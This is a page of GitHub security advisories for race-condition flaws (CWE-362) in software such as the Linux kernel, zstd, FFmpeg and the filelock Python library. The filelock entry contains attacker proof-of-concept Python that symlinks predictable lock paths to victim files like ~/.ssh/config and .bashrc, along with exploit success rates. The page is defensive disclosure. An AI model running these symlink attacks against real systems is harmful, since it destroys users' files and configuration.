CWE-362
Allowed-with-ReviewConcurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Abstraction: Class · Status: Draft
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
2900 vulnerabilities reference this CWE, most recent first.
GHSA-W74R-W7JP-RC8W
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31Concurrent execution using shared resource with improper synchronization ('race condition') in Graphics Kernel allows an authorized attacker to execute code locally.
{
"affected": [],
"aliases": [
"CVE-2025-55226"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T17:16:05Z",
"severity": "MODERATE"
},
"details": "Concurrent execution using shared resource with improper synchronization (\u0027race condition\u0027) in Graphics Kernel allows an authorized attacker to execute code locally.",
"id": "GHSA-w74r-w7jp-rc8w",
"modified": "2025-09-09T18:31:23Z",
"published": "2025-09-09T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55226"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55226"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W76G-6QC3-QPJ6
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46A vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco IOS XE 3.16 could allow an authenticated, remote attacker to cause a denial of service (DoS) condition. The vulnerability is due to a race condition that could occur when the affected software processes an SNMP read request that contains certain criteria for a specific object ID (OID) and an active crypto session is disconnected on an affected device. An attacker who can authenticate to an affected device could trigger this vulnerability by issuing an SNMP request for a specific OID on the device. A successful exploit will cause the device to restart due to an attempt to access an invalid memory region. The attacker does not control how or when crypto sessions are disconnected on the device. Cisco Bug IDs: CSCvb94392.
{
"affected": [],
"aliases": [
"CVE-2017-6615"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-20T22:59:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco IOS XE 3.16 could allow an authenticated, remote attacker to cause a denial of service (DoS) condition. The vulnerability is due to a race condition that could occur when the affected software processes an SNMP read request that contains certain criteria for a specific object ID (OID) and an active crypto session is disconnected on an affected device. An attacker who can authenticate to an affected device could trigger this vulnerability by issuing an SNMP request for a specific OID on the device. A successful exploit will cause the device to restart due to an attempt to access an invalid memory region. The attacker does not control how or when crypto sessions are disconnected on the device. Cisco Bug IDs: CSCvb94392.",
"id": "GHSA-w76g-6qc3-qpj6",
"modified": "2022-05-13T01:46:41Z",
"published": "2022-05-13T01:46:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6615"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170419-ios-xe-snmp"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97930"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038328"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W77F-WV46-4VCX
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:22A race condition in the one-pass compression functions of Zstandard prior to version 1.3.8 could allow an attacker to write bytes out of bounds if an output buffer smaller than the recommended size was used.
{
"affected": [],
"aliases": [
"CVE-2019-11922"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-25T21:15:00Z",
"severity": "HIGH"
},
"details": "A race condition in the one-pass compression functions of Zstandard prior to version 1.3.8 could allow an attacker to write bytes out of bounds if an output buffer smaller than the recommended size was used.",
"id": "GHSA-w77f-wv46-4vcx",
"modified": "2024-04-04T01:22:10Z",
"published": "2022-05-24T16:51:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11922"
},
{
"type": "WEB",
"url": "https://github.com/facebook/zstd/pull/1404/commits/3e5cdf1b6a85843e991d7d10f6a2567c15580da0"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4108-1"
},
{
"type": "WEB",
"url": "https://www.facebook.com/security/advisories/cve-2019-11922"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00008.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00062.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00078.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7CQ-36JP-Q6WG
Vulnerability from github – Published: 2022-05-14 03:03 – Updated: 2022-05-14 03:03An issue was discovered in the __ns_get_path function in fs/nsfs.c in the Linux kernel before 4.11. Due to a race condition when accessing files, a Use After Free condition can occur. This also affects all Android releases from CAF using the Linux kernel (Android for MSM, Firefox OS for MSM, QRD Android) before security patch level 2018-07-05.
{
"affected": [],
"aliases": [
"CVE-2018-5873"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-06T19:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in the __ns_get_path function in fs/nsfs.c in the Linux kernel before 4.11. Due to a race condition when accessing files, a Use After Free condition can occur. This also affects all Android releases from CAF using the Linux kernel (Android for MSM, Firefox OS for MSM, QRD Android) before security patch level 2018-07-05.",
"id": "GHSA-w7cq-36jp-q6wg",
"modified": "2022-05-14T03:03:42Z",
"published": "2022-05-14T03:03:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5873"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/073c516ff73557a8f7315066856c04b50383ac34"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-07-01"
},
{
"type": "WEB",
"url": "https://source.codeaurora.org/quic/la/kernel/msm-4.9/commit/?id=34742aaf7cb16c95edba4a7afed6d2c4fa7e434b"
},
{
"type": "WEB",
"url": "https://www.codeaurora.org/security-bulletin/2018/07/02/july-2018-code-aurora-security-bulletin"
},
{
"type": "WEB",
"url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=073c516ff73557a8f7315066856c04b50383ac34"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7VV-GW43-HXQ2
Vulnerability from github – Published: 2026-01-25 15:30 – Updated: 2026-03-25 21:30In the Linux kernel, the following vulnerability has been resolved:
dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list()
syzbot was able to crash the kernel in rt6_uncached_list_flush_dev() in an interesting way [1]
Crash happens in list_del_init()/INIT_LIST_HEAD() while writing list->prev, while the prior write on list->next went well.
static inline void INIT_LIST_HEAD(struct list_head *list) { WRITE_ONCE(list->next, list); // This went well WRITE_ONCE(list->prev, list); // Crash, @list has been freed. }
Issue here is that rt6_uncached_list_del() did not attempt to lock ul->lock, as list_empty(&rt->dst.rt_uncached) returned true because the WRITE_ONCE(list->next, list) happened on the other CPU.
We might use list_del_init_careful() and list_empty_careful(), or make sure rt6_uncached_list_del() always grabs the spinlock whenever rt->dst.rt_uncached_list has been set.
A similar fix is neeed for IPv4.
[1]
BUG: KASAN: slab-use-after-free in INIT_LIST_HEAD include/linux/list.h:46 [inline] BUG: KASAN: slab-use-after-free in list_del_init include/linux/list.h:296 [inline] BUG: KASAN: slab-use-after-free in rt6_uncached_list_flush_dev net/ipv6/route.c:191 [inline] BUG: KASAN: slab-use-after-free in rt6_disable_ip+0x633/0x730 net/ipv6/route.c:5020 Write of size 8 at addr ffff8880294cfa78 by task kworker/u8:14/3450
CPU: 0 UID: 0 PID: 3450 Comm: kworker/u8:14 Tainted: G L syzkaller #0 PREEMPT_{RT,(full)} Tainted: [L]=SOFTLOCKUP Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025 Workqueue: netns cleanup_net Call Trace: dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xca/0x240 mm/kasan/report.c:482 kasan_report+0x118/0x150 mm/kasan/report.c:595 INIT_LIST_HEAD include/linux/list.h:46 [inline] list_del_init include/linux/list.h:296 [inline] rt6_uncached_list_flush_dev net/ipv6/route.c:191 [inline] rt6_disable_ip+0x633/0x730 net/ipv6/route.c:5020 addrconf_ifdown+0x143/0x18a0 net/ipv6/addrconf.c:3853 addrconf_notify+0x1bc/0x1050 net/ipv6/addrconf.c:-1 notifier_call_chain+0x19d/0x3a0 kernel/notifier.c:85 call_netdevice_notifiers_extack net/core/dev.c:2268 [inline] call_netdevice_notifiers net/core/dev.c:2282 [inline] netif_close_many+0x29c/0x410 net/core/dev.c:1785 unregister_netdevice_many_notify+0xb50/0x2330 net/core/dev.c:12353 ops_exit_rtnl_list net/core/net_namespace.c:187 [inline] ops_undo_list+0x3dc/0x990 net/core/net_namespace.c:248 cleanup_net+0x4de/0x7b0 net/core/net_namespace.c:696 process_one_work kernel/workqueue.c:3257 [inline] process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246
Allocated by task 803: kasan_save_stack mm/kasan/common.c:57 [inline] kasan_save_track+0x3e/0x80 mm/kasan/common.c:78 unpoison_slab_object mm/kasan/common.c:340 [inline] __kasan_slab_alloc+0x6c/0x80 mm/kasan/common.c:366 kasan_slab_alloc include/linux/kasan.h:253 [inline] slab_post_alloc_hook mm/slub.c:4953 [inline] slab_alloc_node mm/slub.c:5263 [inline] kmem_cache_alloc_noprof+0x18d/0x6c0 mm/slub.c:5270 dst_alloc+0x105/0x170 net/core/dst.c:89 ip6_dst_alloc net/ipv6/route.c:342 [inline] icmp6_dst_alloc+0x75/0x460 net/ipv6/route.c:3333 mld_sendpack+0x683/0xe60 net/ipv6/mcast.c:1844 mld_send_cr net/ipv6/mcast.c:2154 [inline] mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693 process_one_work kernel/workqueue.c:3257 [inline] process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entr ---truncated---
{
"affected": [],
"aliases": [
"CVE-2026-23004"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-25T15:15:55Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndst: fix races in rt6_uncached_list_del() and rt_del_uncached_list()\n\nsyzbot was able to crash the kernel in rt6_uncached_list_flush_dev()\nin an interesting way [1]\n\nCrash happens in list_del_init()/INIT_LIST_HEAD() while writing\nlist-\u003eprev, while the prior write on list-\u003enext went well.\n\nstatic inline void INIT_LIST_HEAD(struct list_head *list)\n{\n\tWRITE_ONCE(list-\u003enext, list); // This went well\n\tWRITE_ONCE(list-\u003eprev, list); // Crash, @list has been freed.\n}\n\nIssue here is that rt6_uncached_list_del() did not attempt to lock\nul-\u003elock, as list_empty(\u0026rt-\u003edst.rt_uncached) returned\ntrue because the WRITE_ONCE(list-\u003enext, list) happened on the other CPU.\n\nWe might use list_del_init_careful() and list_empty_careful(),\nor make sure rt6_uncached_list_del() always grabs the spinlock\nwhenever rt-\u003edst.rt_uncached_list has been set.\n\nA similar fix is neeed for IPv4.\n\n[1]\n\n BUG: KASAN: slab-use-after-free in INIT_LIST_HEAD include/linux/list.h:46 [inline]\n BUG: KASAN: slab-use-after-free in list_del_init include/linux/list.h:296 [inline]\n BUG: KASAN: slab-use-after-free in rt6_uncached_list_flush_dev net/ipv6/route.c:191 [inline]\n BUG: KASAN: slab-use-after-free in rt6_disable_ip+0x633/0x730 net/ipv6/route.c:5020\nWrite of size 8 at addr ffff8880294cfa78 by task kworker/u8:14/3450\n\nCPU: 0 UID: 0 PID: 3450 Comm: kworker/u8:14 Tainted: G L syzkaller #0 PREEMPT_{RT,(full)}\nTainted: [L]=SOFTLOCKUP\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nWorkqueue: netns cleanup_net\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xca/0x240 mm/kasan/report.c:482\n kasan_report+0x118/0x150 mm/kasan/report.c:595\n INIT_LIST_HEAD include/linux/list.h:46 [inline]\n list_del_init include/linux/list.h:296 [inline]\n rt6_uncached_list_flush_dev net/ipv6/route.c:191 [inline]\n rt6_disable_ip+0x633/0x730 net/ipv6/route.c:5020\n addrconf_ifdown+0x143/0x18a0 net/ipv6/addrconf.c:3853\n addrconf_notify+0x1bc/0x1050 net/ipv6/addrconf.c:-1\n notifier_call_chain+0x19d/0x3a0 kernel/notifier.c:85\n call_netdevice_notifiers_extack net/core/dev.c:2268 [inline]\n call_netdevice_notifiers net/core/dev.c:2282 [inline]\n netif_close_many+0x29c/0x410 net/core/dev.c:1785\n unregister_netdevice_many_notify+0xb50/0x2330 net/core/dev.c:12353\n ops_exit_rtnl_list net/core/net_namespace.c:187 [inline]\n ops_undo_list+0x3dc/0x990 net/core/net_namespace.c:248\n cleanup_net+0x4de/0x7b0 net/core/net_namespace.c:696\n process_one_work kernel/workqueue.c:3257 [inline]\n process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n kthread+0x711/0x8a0 kernel/kthread.c:463\n ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246\n \u003c/TASK\u003e\n\nAllocated by task 803:\n kasan_save_stack mm/kasan/common.c:57 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:78\n unpoison_slab_object mm/kasan/common.c:340 [inline]\n __kasan_slab_alloc+0x6c/0x80 mm/kasan/common.c:366\n kasan_slab_alloc include/linux/kasan.h:253 [inline]\n slab_post_alloc_hook mm/slub.c:4953 [inline]\n slab_alloc_node mm/slub.c:5263 [inline]\n kmem_cache_alloc_noprof+0x18d/0x6c0 mm/slub.c:5270\n dst_alloc+0x105/0x170 net/core/dst.c:89\n ip6_dst_alloc net/ipv6/route.c:342 [inline]\n icmp6_dst_alloc+0x75/0x460 net/ipv6/route.c:3333\n mld_sendpack+0x683/0xe60 net/ipv6/mcast.c:1844\n mld_send_cr net/ipv6/mcast.c:2154 [inline]\n mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693\n process_one_work kernel/workqueue.c:3257 [inline]\n process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n kthread+0x711/0x8a0 kernel/kthread.c:463\n ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entr\n---truncated---",
"id": "GHSA-w7vv-gw43-hxq2",
"modified": "2026-03-25T21:30:23Z",
"published": "2026-01-25T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23004"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/722de945216144af7cd4d39bdeb936108d2595a7"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/815db2363e51f0ef416947492d4dac5b7a520f56"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9a6f0c4d5796ab89b5a28a890ce542344d58bd69"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f24a52948c95e02facbca2b3b6eb5a225e27eb01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W82P-VXV4-PVCF
Vulnerability from github – Published: 2022-05-14 01:46 – Updated: 2025-04-12 12:52The update_dimensions function in libavcodec/vp8.c in FFmpeg through 2.8.1, as used in Google Chrome before 46.0.2490.71 and other products, relies on a coefficient-partition count during multi-threaded operation, which allows remote attackers to cause a denial of service (race condition and memory corruption) or possibly have unspecified other impact via a crafted WebM file.
{
"affected": [],
"aliases": [
"CVE-2015-6761"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-10-15T10:59:00Z",
"severity": "MODERATE"
},
"details": "The update_dimensions function in libavcodec/vp8.c in FFmpeg through 2.8.1, as used in Google Chrome before 46.0.2490.71 and other products, relies on a coefficient-partition count during multi-threaded operation, which allows remote attackers to cause a denial of service (race condition and memory corruption) or possibly have unspecified other impact via a crafted WebM file.",
"id": "GHSA-w82p-vxv4-pvcf",
"modified": "2025-04-12T12:52:58Z",
"published": "2022-05-14T01:46:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6761"
},
{
"type": "WEB",
"url": "https://code.google.com/p/chromium/issues/detail?id=447860"
},
{
"type": "WEB",
"url": "https://code.google.com/p/chromium/issues/detail?id=532967"
},
{
"type": "WEB",
"url": "https://codereview.chromium.org/1376913003"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/12/msg00009.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201603-09"
},
{
"type": "WEB",
"url": "http://git.videolan.org/?p=ffmpeg.git%3Ba=commit%3Bh=dabea74d0e82ea80cd344f630497cafcb3ef872c"
},
{
"type": "WEB",
"url": "http://git.videolan.org/?p=ffmpeg.git;a=commit;h=dabea74d0e82ea80cd344f630497cafcb3ef872c"
},
{
"type": "WEB",
"url": "http://googlechromereleases.blogspot.com/2015/10/stable-channel-update.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1912.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3376"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/77073"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1033816"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2770-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2770-2"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W84V-VMQQ-P8VC
Vulnerability from github – Published: 2022-04-29 03:01 – Updated: 2022-04-29 03:01The Inventory Scout daemon (invscoutd) 1.3.0.0 and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line argument (log file). NOTE: this might be related to CVE-2006-5002.
{
"affected": [],
"aliases": [
"CVE-2004-2697"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2004-12-31T05:00:00Z",
"severity": "MODERATE"
},
"details": "The Inventory Scout daemon (invscoutd) 1.3.0.0 and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line argument (log file). NOTE: this might be related to CVE-2006-5002.",
"id": "GHSA-w84v-vmqq-p8vc",
"modified": "2022-04-29T03:01:55Z",
"published": "2022-04-29T03:01:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2697"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/15620"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/11200"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/4582"
},
{
"type": "WEB",
"url": "http://www.securiteam.com/exploits/5CP0F0UDFG.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/9982"
},
{
"type": "WEB",
"url": "http://www.xfocus.org/exploits/200403/31.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W853-JP5J-5J7F
Vulnerability from github – Published: 2025-12-16 20:52 – Updated: 2025-12-16 20:52Impact
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
- virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
- PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
- poetry/tox users: through using virtualenv or filelock on their own.
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Patches
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
Workarounds
If immediate upgrade is not possible:
- Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
- Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
- Monitor lock file directories for suspicious symlinks before running trusted applications
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
Technical Details: How the Exploit Works
The Vulnerable Code Pattern
Unix/Linux/macOS (src/filelock/_unix.py:39-44):
def _acquire(self) -> None:
ensure_directory_exists(self.lock_file)
open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate
if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?
open_flags |= os.O_CREAT
fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate
Windows (src/filelock/_windows.py:19-28):
def _acquire(self) -> None:
raise_on_not_writable_file(self.lock_file) # (1) Check writability
ensure_directory_exists(self.lock_file)
flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate
fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate
The Race Window
The vulnerability exists in the gap between operations:
Unix variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file exists? → False
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Windows variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file writable?
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink/junction
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Step-by-Step Attack Flow
1. Attacker Setup:
# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock" # Predictable lock path
victim_file = "/home/victim/.ssh/config" # High-value target
2. Attacker Creates Race Condition:
import os
import threading
def attacker_thread():
# Remove any existing lock file
try:
os.unlink(lock_path)
except FileNotFoundError:
pass
# Create symlink pointing to victim file
os.symlink(victim_file, lock_path)
print(f"[Attacker] Created: {lock_path} → {victim_file}")
# Launch attack
threading.Thread(target=attacker_thread).start()
3. Victim Application Runs:
from filelock import UnixFileLock
# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire() # ← VULNERABILITY TRIGGERED HERE
# At this point, /home/victim/.ssh/config is now 0 bytes!
4. What Happens Inside os.open():
On Unix systems, when os.open() is called:
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
struct file *f = path_lookup(pathname); // Resolves symlinks by default!
if (flags & O_TRUNC) {
truncate_file(f); // ← Truncates the TARGET of the symlink
}
return file_descriptor;
}
Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.
Why the Attack Succeeds Reliably
Timing Characteristics:
- Check operation (Path.exists()): ~100-500 nanoseconds
- Symlink creation (os.symlink()): ~1-10 microseconds
- Race window: ~1-5 microseconds (very small but exploitable)
- Thread scheduling quantum: ~1-10 milliseconds
Success factors:
- Tight loop: Running attack in a loop hits the race window within 1-3 attempts
- CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
- No synchronization: No atomic file creation prevents the race
- Symlink speed: Creating symlinks is extremely fast (metadata-only operation)
Real-World Attack Scenarios
Scenario 1: virtualenv Exploitation
# Victim runs: python -m venv /tmp/myenv
# Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")
# Result: /home/victim/.bashrc overwritten with:
# home = /usr/bin/python3
# include-system-site-packages = false
# version = 3.11.2
# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
Scenario 2: PyTorch Cache Poisoning
# Victim runs: import torch
# PyTorch checks CPU capabilities, uses filelock on cache
# Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")
# Result: Trained ML model checkpoint truncated to 0 bytes
# Impact: Weeks of training lost, ML pipeline DoS
Why Standard Defenses Don't Help
File permissions don't prevent this:
- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the victim's permissions
- The victim process truncates its own file
Directory permissions help but aren't always feasible:
- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories
File locking doesn't prevent this:
- The truncation happens during the open() call, before any lock is acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks
Exploitation Proof-of-Concept Results
From empirical testing with the provided PoCs:
Simple Direct Attack (filelock_simple_poc.py):
- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms
virtualenv Attack (weaponized_virtualenv.py):
- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents
PyTorch Attack (weaponized_pytorch.py):
- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining
Discovered and reported by: George Tsigourakos (@tsigouris007)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "filelock"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.20.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68146"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T20:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -\u003e None:\n ensure_directory_exists(self.lock_file)\n open_flags = os.O_RDWR | 